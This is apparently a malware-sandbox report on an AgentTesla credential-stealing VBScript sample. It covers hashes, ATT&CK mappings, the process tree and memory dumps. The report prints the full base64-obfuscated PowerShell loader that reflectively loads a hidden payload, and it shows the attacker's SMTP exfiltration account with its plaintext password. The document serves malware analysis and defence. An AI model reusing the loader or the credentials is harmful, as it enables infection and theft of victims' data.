agenttesla | 80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9

General

Target

Orders-2604_24.vbs
Size

296KB
MD5

b6c156a6ddcc914249b7316bd49401e9
SHA1

16feeb332df9a7d664a548cfcf2c5ae79878ae08
SHA256

80d66a927ede02982222ad5ec0b000e0ee696476724d480980d6a4009a59ddb9
SHA512

dd6e13dce798e1820403cb2922c7d69894cd44d064dca32c8876165df34eebd3331b72e1f3b0bbd83585d9b9830ecfe7f06fd1daca8f9ecf38f59c31e69028bb
SSDEEP

6144:2c7tvCwj2O9lT+TIvZCoJZP2xwrpuHeAFUhhmPhLkJRY:vKwRwkImzs/Mh2gJ6

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
proglass.com.sg
Port:
587
Username:
[email protected]
Password:
BillionPay$
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation WScript.exe
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 api.ipify.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3980 set thread context of 3032 3980 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	WScript.exe

flow	ioc
3	api.ipify.org

description	pid	process	target process
PID 3980 set thread context of 3032	3980	powershell.exe	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exe

pid	process
4924	powershell.exe
4924	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 4924 powershell.exe
Token: SeDebugPrivilege 3980 powershell.exe
Token: SeDebugPrivilege 3032 RegAsm.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegAsm.exe

pid process

3032 RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeDebugPrivilege	3032	RegAsm.exe

pid	process
3032	RegAsm.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.execmd.exepowershell.exe

description	pid	process	target process
PID 2216 wrote to memory of 2796	2216	WScript.exe	cmd.exe
PID 2216 wrote to memory of 2796	2216	WScript.exe	cmd.exe
PID 2796 wrote to memory of 4924	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 4924	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 4924	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 3980	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 3980	2796	cmd.exe	powershell.exe
PID 2796 wrote to memory of 3980	2796	cmd.exe	powershell.exe
PID 3980 wrote to memory of 2036	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 2036	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 2036	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 3032	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 3032	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 3032	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 3032	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 3032	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 3032	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 3032	3980	powershell.exe	RegAsm.exe
PID 3980 wrote to memory of 3032	3980	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Orders-2604_24.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Jykpxb.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIkp5a3B4Yi5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\Jykpxb.ps1' -Encoding UTF8"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4924

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\Jykpxb.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3980

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:2036

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3032

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

4

T1552

Credentials In Files

3

T1552.001

Credentials in Registry

1

T1552.002

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

4

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
0ff3f3e49219d2de2c19f4d21dc8f6ea

SHA1
b129c1d78720d095030fa36acd1195c3e1794b06

SHA256
c66950d3efde798c179bd825f4e2655f21953558c6d73c688f01fb330104010f

SHA512
969e3086e7310b2137248016e45d6ae680344da9fa34a2ca4eee02318f56f7c1bc36fc56e62f97d39d8120018ced0cdebac7f64aa9b0c9655bf5cce4a258aaa8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sb0ej3k5.qtl.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Jykpxb.bat
Filesize
276KB

MD5
2c111f46d26f1352673ae6dc86a990fe

SHA1
a523fdff3ae3672b0f815c8af3ef0b3982b841d6

SHA256
5f175835c666dba497ed962c90679fc4c61b84a021f68ebb900a0d5d5b660d32

SHA512
6c4ff1a335d5b8671da3e3cc178bb5ae345e45c262617a58087e36260a346fb8ee699d9db057336ea412e11e2288e9ace76c741ee5c6fc18fb91e0206e51c7ff

Download Submit
C:\Users\Admin\Jykpxb.ps1
Filesize
2KB

MD5
f90fbcb070697feb9fcffa1102bf5c9a

SHA1
26406dbe3e8f343b13dae2a44193e0918f99e65a

SHA256
3ddf16f60017414eb9b0ce45e8688b266c735902003e28814147a017a94f1bce

SHA512
23840709dd4908bbff1ccc7d718a5f7cd3ab1a70296f8a99d8ece9e7c8fe7c0a51eaa3a2905e1f4daa70fbbf5285185b4e3a1432191544f02b9270dd76079579

Download Submit
memory/3032-50-0x0000000006690000-0x00000000066E0000-memory.dmp

Filesize
320KB

Download
memory/3032-48-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3032-51-0x0000000006780000-0x0000000006812000-memory.dmp

Filesize
584KB

Download
memory/3032-52-0x0000000006740000-0x000000000674A000-memory.dmp

Filesize
40KB

Download
memory/3980-46-0x00000000067D0000-0x000000000684E000-memory.dmp

Filesize
504KB

Download
memory/3980-47-0x00000000030A0000-0x00000000030AA000-memory.dmp

Filesize
40KB

Download
memory/3980-45-0x00000000081B0000-0x0000000008754000-memory.dmp

Filesize
5.6MB

Download
memory/3980-44-0x0000000007B10000-0x0000000007B32000-memory.dmp

Filesize
136KB

Download
memory/3980-43-0x0000000007B60000-0x0000000007BF6000-memory.dmp

Filesize
600KB

Download
memory/4924-11-0x0000000005870000-0x00000000058D6000-memory.dmp

Filesize
408KB

Download
memory/4924-30-0x0000000074640000-0x0000000074DF0000-memory.dmp

Filesize
7.7MB

Download
memory/4924-26-0x0000000007550000-0x000000000756A000-memory.dmp

Filesize
104KB

Download
memory/4924-25-0x0000000007DA0000-0x000000000841A000-memory.dmp

Filesize
6.5MB

Download
memory/4924-24-0x00000000064B0000-0x00000000064FC000-memory.dmp

Filesize
304KB

Download
memory/4924-23-0x0000000006460000-0x000000000647E000-memory.dmp

Filesize
120KB

Download
memory/4924-22-0x0000000006040000-0x0000000006394000-memory.dmp

Filesize
3.3MB

Download
memory/4924-12-0x0000000005F40000-0x0000000005FA6000-memory.dmp

Filesize
408KB

Download
memory/4924-10-0x00000000056D0000-0x00000000056F2000-memory.dmp

Filesize
136KB

Download
memory/4924-9-0x0000000005910000-0x0000000005F38000-memory.dmp

Filesize
6.2MB

Download
memory/4924-7-0x00000000052D0000-0x00000000052E0000-memory.dmp

Filesize
64KB

Download
memory/4924-8-0x00000000052D0000-0x00000000052E0000-memory.dmp

Filesize
64KB

Download
memory/4924-6-0x0000000074640000-0x0000000074DF0000-memory.dmp

Filesize
7.7MB

Download
memory/4924-5-0x00000000030A0000-0x00000000030D6000-memory.dmp

Filesize
216KB

Download

Analysis

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